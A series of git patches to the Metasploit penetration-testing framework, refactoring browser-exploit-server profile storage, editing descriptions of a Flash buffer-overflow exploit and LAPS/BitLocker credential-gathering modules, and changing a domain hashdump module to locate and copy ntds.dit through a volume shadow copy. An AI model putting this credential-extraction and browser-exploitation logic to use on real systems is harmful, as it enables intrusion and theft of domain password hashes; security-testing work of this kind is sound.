diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 48d321bd27..8ff4e76c5b 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,55 +63,25 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - + @bap_exploits << mod end end end - # Returns a note type that's unique to this BAP (based on a timestamp). - # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP + # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). + # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP # and all of its child exploits can share target information with each other. If BAP is active # but there are other standalone BES exploits running, this allows them not to use (or cleanup) - # each other's data. Also, once requested, the method will not generate another note type prefix - # again, it will just return whatever's been stored in the @note_type_prefix instance variable. + # each other's data. Also, once requested, the method will not generate another profile prefix + # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable. # # @return [String] - def note_type_prefix - @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" + def browser_profile_prefix + @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.module_uuid}" end - - # Removes target information from the framework database owned by this BAP. - # If the user is not connected to the database, then no cleanup action. - # - # @return [void] - def rm_target_info_notes - return unless framework.db.active - retries = 0 - begin - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - note.destroy if note.ntype.include?(note_type_prefix) - end - } - rescue NameError => e - # Very rarely, framework.db.notes triggers uninitialized constant Mdm::Workspace::Mdm::Note. - # Not sure why, it's been really difficult to reproduce. But the uninitialized constant error - # is raised by the compute_type method in inheritance.rb from active_record, so we'll just - # rescue that and retry a couple of times. - if retries < 10 - retry - else - print_error("Unable to properly cleanup notes. Try doing it manually: notes -d") - elog("(BAP notes cleanup) #{e.class} #{e.message}\n#{e.backtrace * "\n"}") - end - retries += 1 - end - end - - # Removes background exploit jobs that belong to BAP. # # @return [void] @@ -132,14 +102,14 @@ module Msf end - # Cleans up everything such as notes and jobs. + # Cleans up everything such as profiles and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. - # @see #rm_target_info_notes The method for removing target information (found in db notes). + # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. # @return [void] def cleanup super - rm_target_info_notes + clear_browser_profiles rm_exploit_jobs rm_payload_jobs end @@ -168,9 +138,13 @@ module Msf # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true - xploit.datastore['NoteTypePrefix'] = note_type_prefix + xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # TODO: Pass additional parameters + # TODO: Pass WORKSPACE and other options down to the sub module + # TODO: Add BAPv2 tracking information (?) + # TODO: Change exploit output options? end @@ -179,6 +153,7 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. + # TODO: Prevent partial prefix match def is_resource_taken?(resource) taken = false @@ -232,6 +207,7 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| + # TODO: Handle wonky dates in local modules better bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse end end @@ -350,10 +326,14 @@ module Msf multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] + + # TODO: Pass WORKSPACE and other options down to the sub module + # Configurable only by BAP - multi_handler.datastore['EXITONSESSION'] = false + multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # TODO: BAPv2 specific options / tracking would go here # Now we're ready to start the handler multi_handler.exploit_simple( @@ -616,7 +596,7 @@ module Msf def get_suitable_exploits(cli, request) current_exploit_list = [] tag = retrieve_tag(cli, request) - profile_info = get_profile_info(tag) + profile_info = browser_profile[tag] bap_exploits.each do |m| if m.get_bad_requirements(profile_info).empty? current_exploit_list << m @@ -831,4 +811,4 @@ module Msf end end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 1340a1e9e7..bcd08b9426 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -304,7 +304,9 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) - update_profile(tag, :source, source.to_s) + + browser_profile[tag] ||= {} + browser_profile[tag][:source] = source.to_s found_ua_name = '' found_ua_ver = '' @@ -314,8 +316,9 @@ module Msf when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') - vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.") - parsed_body.each { |k, v| update_profile(tag, k.to_s, v.first) } + vprint_status("Received sniffed browser data over POST:") + vprint_line("#{parsed_body}.") + parsed_body.each { |k, v| browser_profile[tag][k.to_s] = v.first } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] @@ -327,15 +330,15 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - update_profile(tag, k.to_s, v) + browser_profile[tag][k.to_s] = v end found_ua_name = fp[:ua_name] found_ua_ver = fp[:ua_ver] end # Other detections - update_profile(tag, :proxy, has_proxy?(request)) - update_profile(tag, :language, request.headers['Accept-Language'] || '') + browser_profile[tag][:proxy] = has_proxy?(request) + browser_profile[tag][:language] = request.headers['Accept-Language'] || '' report_client({ :host => cli.peerhost, @@ -438,12 +441,12 @@ module Msf | end - # @return [String] name of the tracking cookie + # @return [String] Name of the tracking cookie def cookie_name datastore['CookieName'] || DEFAULT_COOKIE_NAME end - + # @return [String] HTTP header string for the tracking cookie def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -465,7 +468,7 @@ module Msf # # This is the information gathering stage # - unless get_profile_info(retrieve_tag(cli, request)).empty? + unless browser_profile[retrieve_tag(cli, request)].empty? send_redirect(cli, get_module_resource) return end @@ -473,7 +476,6 @@ module Msf print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' - init_profile(tag) print_status("Sending HTML response.") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) @@ -501,7 +503,7 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile_info(tag) + profile = browser_profile[tag] if profile.empty? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) @@ -509,7 +511,7 @@ module Msf print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(tag, :tried, true) + profile[tag][:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 5e571ec6fe..08dd8d2d6a 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,66 +1,26 @@ -require 'msgpack' - module Msf module Exploit::Remote::BrowserProfileManager - # @overload note_type_prefix - # Sets the note type prefix to retrieve or load target information. - def note_type_prefix - raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" + # @overload browser_profile_prefix + # Sets the profile prefix to retrieve or load target information. + def browser_profile_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix" end - - # Returns profile information about a specific browser client. + # Storage backend for browser profiles # - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. # @return [Hash] - def get_profile_info(tag) - normalized_tag = "#{note_type_prefix}.#{tag}" - framework.db.notes.each do |note| - return MessagePack.unpack(note.data) if note.ntype == normalized_tag - end - - {} + def browser_profile + framework[:browser_profiles] ||= {} + framework[:browser_profiles][browser_profile_prefix] ||= {} + framework[:browser_profiles][browser_profile_prefix] end - - # Updates profile information about a specific browser client. - # It will also automatically initialize the profile (an empty one) if it's not found. + # Storage backend for browser profiles # - # @see #init_profile - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. - # @param [String] key A specific key to update (for example: os name). - # @param [String] value The value for the key. - # @return [void] - def update_profile(tag, key, value) - profile = get_profile_info(tag) - if profile.empty? - init_profile(tag) - profile = get_profile_info(tag) - end - - normalized_tag = "#{note_type_prefix}.#{tag}" - profile[normalized_tag][key.to_s] = value - framework.db.report_note( - :type => normalized_tag, - :data => profile.to_msgpack, - :update => :unique - ) - end - - - # Initializes a profile. - # - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. - # @return [void] - def init_profile(tag) - normalized_tag = "#{note_type_prefix}.#{tag}" - empty_profile = { normalized_tag => {} } - framework.db.report_note( - :type => normalized_tag, - :data => empty_profile.to_msgpack, - :update => :unique - ) + def clear_browser_profiles + framework[:browser_profiles] ||= {} + framework[:browser_profiles].delete(browser_profile_prefix) end end diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb deleted file mode 100644 index c048fd0ef9..0000000000 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ /dev/null @@ -1,158 +0,0 @@ -require 'spec_helper' -require 'msf/core' - -describe Msf::Exploit::Remote::BrowserProfileManager do - - - def mock_report_note(args) - # args example: - # {:type=>"blLGFIlwYrxfvcY.new_tag", :data=>"\x81\xB7blLGFIlwYrxfvcY.new_tag\x80", :update=>:unique} - @notes.each do |note| - if note.ntype == args[:type] - allow(note).to receive(:data).and_return(args[:data]) - return - end - end - - # No profile found - note = create_fake_note(args[:type], args[:data]) - @notes << note - end - - def create_fake_note(tag, data) - note = double('note') - allow(note).to receive(:ntype).and_return(tag) - allow(note).to receive(:data).and_return(data) - - note - end - - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true - # }} - let(:profile_packed_data) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" - end - - let(:profile_tag) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] - end - - let(:note_type_prefix) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." - end - - subject do - mod = Msf::Exploit::Remote.allocate - mod.extend Msf::Exploit::Remote::BrowserExploitServer - mod.extend described_class - mod.send(:initialize) - mod.send(:datastore=, {'NoteTypePrefix' => note_type_prefix}) - mod - end - - let(:framework) do - framework = double('Msf::Framework', datastore: {}) - - notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] - @notes = notes - - db = double('db') - allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } - allow(db).to receive(:notes).and_return(notes) - allow(framework).to receive(:db).and_return(db) - - framework - end - - before(:each) do - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) - end - - describe '#note_type_prefix' do - context 'when note_type_prefix is used' do - it 'raises a NoMethodError exception' do - expect(subject.note_type_prefix).to eq(note_type_prefix) - end - end - end - - describe '#get_profile_info' do - - let(:found_profile) do - end - - context 'when profile is found' do - it 'returns a hash with the profile' do - found_profile = subject.get_profile_info(profile_tag) - found_profile_key = found_profile.keys.first - found_profile_data = found_profile[found_profile_key] - profile_data = MessagePack.unpack(profile_packed_data).values.first - expect(found_profile).to be_kind_of(Hash) - expect(found_profile_data).to eq(profile_data) - end - end - - context 'when a profile is not found' do - it 'returns an empty hash' do - bad_profile_tag = 'bad_profile_tag' - found_profile = subject.get_profile_info(bad_profile_tag) - expect(found_profile).to be_kind_of(Hash) - expect(found_profile).to be_empty - end - end - end - - describe '#update_profile' do - - let(:key_to_update) { 'os_name' } - - let(:os_value) { 'Windows 7' } - - context 'when no profile is on the database' do - let(:new_profile_tag) { 'new_tag' } - it 'creates a new profile' do - end - - it 'updates data to the new profile' do - subject.update_profile(new_profile_tag, key_to_update, os_value) - expect(subject.get_profile_info(new_profile_tag).keys.first).to eq("#{note_type_prefix}.#{new_profile_tag}") - expect(subject.get_profile_info(new_profile_tag).values.first).to eq({key_to_update => os_value}) - end - end - - context 'when the profile is found on the database' do - it 'updates the profile' do - expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq('Windows 8.1') - subject.update_profile(profile_tag, key_to_update, os_value) - expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq(os_value) - end - end - end - - describe '#init_profile' do - context 'creates a tag is provided' do - it 'creates a new profile' do - expect(@notes.length).to eq(1) - subject.init_profile('new') - expect(@notes.length).to eq(2) - end - end - end - -end \ No newline at end of file From 0e7f61083673bf7f20be9be77d5e31a79db6f8ab Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 12:58:21 -0500 Subject: [PATCH 0634/1013] Finish browser profile rework in BES --- .../exploit/remote/browser_exploit_server.rb | 23 ++++++------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index bcd08b9426..a1e36041f6 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,17 +111,17 @@ module Msf end - # Returns a note type that's unique to this browser exploit module. - # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. + # Returns a prefix that's unique to this browser exploit module. + # This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager. # There are two way for BES to get this prefix, either: # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with # its child exploits, so that these exploits don't have to gather browser information again. # * If the datastore option isn't set, then we assume the user is firing the exploit as a # standalone so we make somthing more unique, so that if there are two instances using the # same exploit, they don't actually share info. - def note_type_prefix - self.datastore['NoteTypePrefix'] || @unique_prefix ||= lambda { - "#{self.shortname}.#{Time.now.to_i}.Client" + def browser_profile_prefix + self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda { + "#{self.shortname}.#{Time.now.to_i}.#{self.module_uuid}" }.call end @@ -129,17 +129,8 @@ module Msf # Cleans up target information owned by the current module. def cleanup super - # Whoever registered NoteTypePrefix should do the cleanup for notes - return if self.datastore['NoteTypePrefix'] - - return unless framework.db.active - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - if note.ntype =~ /^#{self.shortname}\.\d+\.Client/ - note.destroy - end - end - } + # Whoever registered BrowserProfilePrefix should do the cleanup + clear_browser_profiles unless self.datastore['BrowserProfilePrefix'] end From c0969d44976d5c0ef33a0df60d4553bfc8ee54d0 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 13:45:38 -0500 Subject: [PATCH 0635/1013] Fix module.uuid references --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 8ff4e76c5b..6ece1bd36d 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -79,7 +79,7 @@ module Msf # # @return [String] def browser_profile_prefix - @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.module_uuid}" + @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}" end # Removes background exploit jobs that belong to BAP. diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a1e36041f6..e5556cbc93 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -121,7 +121,7 @@ module Msf # same exploit, they don't actually share info. def browser_profile_prefix self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda { - "#{self.shortname}.#{Time.now.to_i}.#{self.module_uuid}" + "#{self.shortname}.#{Time.now.to_i}.#{self.uuid}" }.call end From 95f19e6f1fc7c3852989534d5fc3801ace57c970 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 2 Jul 2015 13:49:24 -0500 Subject: [PATCH 0636/1013] Minor description edits for clarity Edited modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb first landed in #5642, Adobe Flash CVE-2015-3113 Nellymoser Audio Decoding BOF Edited modules/post/windows/gather/credentials/enum_laps.rb first landed in #5590, @Meatballs1 adds MS LAPS Enum post mod Edited modules/post/windows/gather/enum_ad_bitlocker.rb first landed in Keys from AD --- .../exploits/multi/browser/adobe_flash_nellymoser_bof.rb | 9 +++++++-- modules/post/windows/gather/credentials/enum_laps.rb | 6 +++--- modules/post/windows/gather/enum_ad_bitlocker.rb | 2 +- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 9f7824d750..87984767fe 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -20,9 +20,14 @@ class Metasploit3 < Msf::Exploit::Remote Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, - Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, and - Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466. + Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, + Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. + + + Note that this exploit is effective against both CVE-2015-3113 and the + earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression + to the same root cause as CVE-2015-3043. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index ccbe8dc996..ef662915c4 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -22,9 +22,9 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Credentials Local Administrator Password Solution', 'Description' => %Q{ This module will recover the LAPS (Local Administrator Password Solution) passwords, - configured in active directory. Note, only privileged users should be able to access - these fields. Note: The local administrator account name is not stored in active directory, - so we assume that this will be 'Administrator' by default. + configured in Active Directory, which is usually only accessable by privileged users. + Note that the local administrator account name is not stored in Active Directory, + so it is assumed to be 'Administrator' by default. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index b2aa320180..c72c4981d0 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Active Directory BitLocker Recovery', 'Description' => %q{ This module will enumerate BitLocker recovery passwords in the default AD - directory. Requires Domain Admin or other delegated privileges. + directory. This module does require Domain Admin or other delegated privileges. }, 'License' => MSF_LICENSE, 'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'], From 89d283da0971c55f1f352ba33ad5562d8f7f5c9b Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Thu, 2 Jul 2015 14:07:47 -0500 Subject: [PATCH 0637/1013] check registry for ntds location check the registry for the location of the ntds.dit file MSP-12867 --- .../windows/gather/credentials/domain_hashdump.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 968258fb42..f62d3008e7 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Post unless ntds_file.nil? print_status "Repairing NTDS database after copy..." print_status repair_ntds(ntds_file) - realm = domain_name + realm = sysinfo["Domain"] ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file) ntds_parser.each_account do |ad_account| print_good ad_account.to_s @@ -67,13 +67,16 @@ class Metasploit3 < Msf::Post database_file_path end - def domain_name - result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"') - result.gsub!(/Domain:\s+/,'') + def is_domain_controller? + if ntds_location + file_exist?("#{ntds_location}\\ntds.dit") + else + false + end end - def is_domain_controller? - file_exist?('%SystemDrive%\Windows\ntds\ntds.dit') + def ntds_location + @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory") end def ntdsutil_method From 7bdfcf2bce2c7ae5d594dafb7ce1b513ff4f0ad3 Mon Sep 17 00:00:00 2001 From: darkbushido <lance.sanchez@gmail.com> Date: Tue, 30 Jun 2015 11:25:46 -0500 Subject: [PATCH 0638/1013] locking the r7 managed gems to specific versions this will force pro to use the same version of the gems --- Gemfile.lock | 10 +++++----- metasploit-framework-db.gemspec | 4 ++-- metasploit-framework.gemspec | 6 +++--- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 29efb30d4f..4d140dec18 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -7,24 +7,24 @@ PATH bcrypt jsobfu (~> 0.2.0) json - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) + metasploit-concern (= 1.0.0) + metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.4) msgpack nokogiri packetfu (= 1.1.9) railties rb-readline-r7 - recog (~> 2.0) + recog (= 2.0.6) robots rubyzip (~> 1.1) sqlite3 tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (~> 1.0) + metasploit-credential (= 1.0.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.2) + metasploit_data_models (= 1.2.5) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index d64792775f..7f5211f076 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' + spec.add_runtime_dependency 'metasploit-credential', '1.0.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 244711be98..a9808136ab 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -57,10 +57,10 @@ Gem::Specification.new do |spec| # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' # Metasploit::Concern hooks - spec.add_runtime_dependency 'metasploit-concern', '~> 1.0' + spec.add_runtime_dependency 'metasploit-concern', '1.0.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 1.0' + spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter spec.add_runtime_dependency 'metasploit-payloads', '1.0.4' # Needed by msfgui and other rpc components @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '~> 2.0' + spec.add_runtime_dependency 'recog', '2.0.6' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module From cc51d1e8fda9387e92ad47098202d9a91b50bf9d Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Thu, 2 Jul 2015 14:27:51 -0500 Subject: [PATCH 0639/1013] use registry data for VSS grab use the location data we got from the registry for copying the NTDS.dit file correctly with the VSS method --- modules/post/windows/gather/credentials/domain_hashdump.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index f62d3008e7..8661a50669 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -141,10 +141,12 @@ class Metasploit3 < Msf::Post end def vss_method - id = create_shadowcopy("#{get_env("%SystemDrive%")}\\") + location = ntds_location.dup + volume = location.slice!(0,3) + id = create_shadowcopy("#{volume}\\") print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) - sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" + sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit" target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" print_status "Moving ntds.dit to #{target_path}" move_file(sc_path, target_path) From 8892cbdd102870a9857687662a6f794b6fdf994a Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 2 Jul 2015 14:32:16 -0500 Subject: [PATCH 0640/1013] Fix some minor things --- modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb | 1 - modules/post/windows/gather/credentials/enum_laps.rb | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 87984767fe..dcb5f9346a 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -24,7 +24,6 @@ class Metasploit3 < Msf::Exploit::Remote Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. - Note that this exploit is effective against both CVE-2015-3113 and the earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression to the same root cause as CVE-2015-3043. diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index ef662915c4..32727cbd1e 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Credentials Local Administrator Password Solution', 'Description' => %Q{ This module will recover the LAPS (Local Administrator Password Solution) passwords, - configured in Active Directory, which is usually only accessable by privileged users. + configured in Active Directory, which is usually only accessible by privileged users. Note that the local administrator account name is not stored in Active Directory, so it is assumed to be 'Administrator' by default. }, From 7b2b526ea1367e4a900e3ee3c7648761770e6404 Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Thu, 2 Jul 2015 14:33:21 -0500 Subject: [PATCH 0641/1013] deregister unwated options deregister mixin options that we don't need for this module --- modules/post/windows/gather/credentials/domain_hashdump.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 8661a50669..6e215e80e1 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) + 